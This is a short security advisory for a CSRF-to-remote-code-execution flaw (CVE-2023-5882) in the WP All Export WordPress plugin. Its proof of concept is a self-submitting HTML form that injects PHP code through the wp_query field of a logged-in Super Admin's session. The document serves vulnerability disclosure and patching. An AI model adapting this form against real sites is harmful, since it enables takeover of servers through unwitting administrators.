WP All Export (Free < 1.4.1, Pro < 1.8.6) – Remote Code Execution via CSRF | CVE 2023-5882

Description

The plugin does not check nonce tokens early enough in the request lifecycle, allowing attackers to make logged in users perform unwanted actions leading to remote code execution.

Proof of Concept

Submit the following form as a Super Admin (notice that it does not contain a nonce). Despite the error, visit `/wp-admin/admin.php?page=pmxe-admin-export&action=template` to see the output of `phpinfo()`.

<html>
  <body>
    <form action="https://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=pmxe-admin-export" method="POST">
      <input type="hidden" name="export_type" value="advanced" />
      <input type="hidden" name="wp_query_selector" value="wp_query" />
      <input type="hidden" name="wp_query" value="phpinfo()" />
      <input type="hidden" name="is_submitted" value="1" />
      <input type="hidden" name="auto_generate" value="0" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=pmxe-admin-export" />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.getElementsByTagName('form')[0].submit()</script>
  </body>
</html>